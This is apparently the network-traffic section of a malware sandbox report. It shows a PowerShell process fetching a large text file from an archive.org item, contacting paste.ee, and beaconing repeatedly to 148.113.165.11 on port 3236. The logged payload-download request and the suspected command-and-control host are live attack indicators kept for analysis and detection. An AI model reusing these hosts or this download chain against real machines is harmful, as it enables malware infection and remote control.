Oct 2, 2024 05:27:13.258375883 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.258404970 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.258538008 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.258555889 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.258596897 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.270309925 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.270340919 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.270420074 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.270427942 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.270956039 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.270977020 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271027088 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.271034002 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271054983 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.271374941 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271404028 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271430016 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.271436930 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271461010 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.271810055 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271838903 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271868944 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.271874905 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.271893024 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.272264957 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.272286892 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.272332907 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.272340059 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.272629976 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.272650957 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.272682905 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.272689104 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.272710085 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.310096025 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.310118914 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.310378075 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.310400963 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.349101067 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.349128008 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.349211931 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.349226952 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.349380016 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.361299038 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.361321926 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.361401081 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.361408949 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.361943007 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.361974955 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.362102032 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.362102032 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.362107992 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.363593102 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.363610029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.363656044 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.363663912 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.363692999 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.363964081 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.363982916 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.364022017 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.364028931 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.364057064 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.364772081 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.364787102 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.364835978 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.364842892 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.364870071 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.365269899 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.365289927 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.365331888 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.365338087 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.365371943 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.399493933 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.399574041 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.399702072 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.399702072 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.402513027 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.503931046 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:13.504005909 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:13.504100084 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:13.504614115 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:13.504626036 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:13.972729921 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:13.972866058 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:13.975806952 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:13.975819111 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:13.976066113 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:13.977025986 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.019419909 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.388222933 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.388277054 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.388309956 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.388452053 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.388477087 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.388523102 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.454772949 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.454848051 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.454873085 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.454926968 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.454971075 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.455117941 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.455188990 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.455559969 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.455585003 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.455698967 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.455705881 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.455748081 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.476958036 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477037907 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477068901 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477087021 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.477097988 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477128029 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477243900 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.477791071 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477832079 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477839947 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.477850914 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.477890015 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.543246984 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.543324947 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.543359995 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.543411970 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.543417931 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.543467045 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.543484926 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.543504953 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.543554068 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.543560982 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544045925 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544086933 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544106007 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.544111967 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544152975 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544157982 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.544164896 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544214964 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.544816017 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544898987 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544931889 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544949055 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.544955015 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.544997931 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.565517902 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.565597057 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.565629959 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.565684080 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.565712929 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.565735102 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.565761089 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.566273928 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.566307068 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.566333055 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.566340923 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.566370964 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.566392899 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.566397905 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.566438913 CEST	443	49705	188.114.97.3	192.168.2.5
Oct 2, 2024 05:27:14.566484928 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:14.566953897 CEST	49705	443	192.168.2.5	188.114.97.3
Oct 2, 2024 05:27:16.894536972 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:16.899565935 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:16.899678946 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:16.913496971 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:16.918426991 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:17.360876083 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:17.366050005 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:17.370908976 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:17.468842030 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:17.516518116 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:18.934499025 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:18.939448118 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:18.939512014 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:18.944324017 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:30.659209013 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:30.664108992 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:30.664196968 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:30.670836926 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:30.781924963 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:30.829082012 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:30.867906094 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:30.891006947 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:30.895888090 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:30.895961046 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:30.901573896 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:36.739481926 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:36.782238960 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:36.868560076 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:36.922827005 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:42.392553091 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:42.397602081 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:42.397675037 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:42.402561903 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:42.515907049 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:42.563503027 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:42.602498055 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:42.604458094 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:42.609381914 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:42.609441042 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:42.614254951 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:54.126554966 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:54.131416082 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:54.134119987 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:54.138969898 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:54.248769045 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:54.297880888 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:54.376123905 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:54.378191948 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:54.383021116 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:27:54.383085966 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:27:54.387896061 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:05.861083031 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:05.865986109 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:05.866061926 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:05.870919943 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:05.985897064 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:06.032344103 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:06.112273932 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:06.113980055 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:06.118899107 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:06.118959904 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:06.123833895 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:06.740066051 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:06.782318115 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:06.872262955 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:06.922966003 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:17.595314026 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:17.600131035 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:17.600210905 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:17.605031967 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:17.716717005 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:17.766710997 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:17.803489923 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:17.807777882 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:17.812635899 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:17.812705994 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:17.817502975 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:29.329974890 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:29.334918022 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:29.335030079 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:29.339865923 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:29.453197002 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:29.501122952 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:29.580265999 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:29.583226919 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:29.588133097 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:29.588253975 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:29.593131065 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:36.739002943 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:36.782476902 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:36.868345976 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:36.923003912 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:41.064069986 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:41.068981886 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:41.069052935 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:41.073846102 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:41.186784029 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:41.235549927 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:41.273466110 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:41.304943085 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:41.309779882 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:41.309875011 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:41.314734936 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:52.798671007 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:52.803489923 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:52.803550005 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:52.808346987 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:52.920634031 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:52.969949961 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:53.007257938 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:53.009176970 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:53.014028072 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:28:53.014087915 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:28:53.018889904 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:04.532965899 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:04.537894011 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:04.537997007 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:04.542768002 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:04.656794071 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:04.704385996 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:04.791630983 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:04.793792963 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:04.799926996 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:04.800002098 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:04.805257082 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:06.745711088 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:06.798244953 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:06.878652096 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:06.923142910 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:17.677433968 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:17.682722092 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:17.686477900 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:17.692456961 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:17.799499035 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:17.845009089 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:17.886548996 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:17.887238026 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:17.892066956 CEST	3236	49706	148.113.165.11	192.168.2.5
Oct 2, 2024 05:29:17.892115116 CEST	49706	3236	192.168.2.5	148.113.165.11
Oct 2, 2024 05:29:17.896996975 CEST	3236	49706	148.113.165.11	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:27:10.113799095 CEST	62474	53	192.168.2.5	1.1.1.1
Oct 2, 2024 05:27:10.262360096 CEST	53	62474	1.1.1.1	192.168.2.5
Oct 2, 2024 05:27:13.494836092 CEST	59384	53	192.168.2.5	1.1.1.1
Oct 2, 2024 05:27:13.503048897 CEST	53	59384	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:27:10.113799095 CEST	192.168.2.5	1.1.1.1	0xc980	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:27:13.494836092 CEST	192.168.2.5	1.1.1.1	0xe14f	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:27:10.262360096 CEST	1.1.1.1	192.168.2.5	0xc980	No error (0)	ia600100.us.archive.org	207.241.227.240	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:27:13.503048897 CEST	1.1.1.1	192.168.2.5	0xe14f	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:27:13.503048897 CEST	1.1.1.1	192.168.2.5	0xe14f	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

paste.ee

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	207.241.227.240	443	2360	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:27:11 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:27:11 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:27:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:27:11 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
